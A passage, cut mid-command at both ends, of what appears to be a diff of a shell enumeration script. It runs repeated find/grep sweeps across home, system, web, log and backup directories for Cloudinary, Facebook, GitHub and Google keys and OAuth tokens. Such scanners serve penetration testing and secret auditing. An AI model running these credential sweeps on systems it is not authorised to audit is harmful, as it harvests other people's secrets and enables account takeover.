120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Facebook Access Token (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Facebook Client ID (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Facebook Oauth (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Facebook Secret Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Github (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Google API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Google Cloud Platform API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Google Drive Oauth (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Google Oauth Access Token (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE 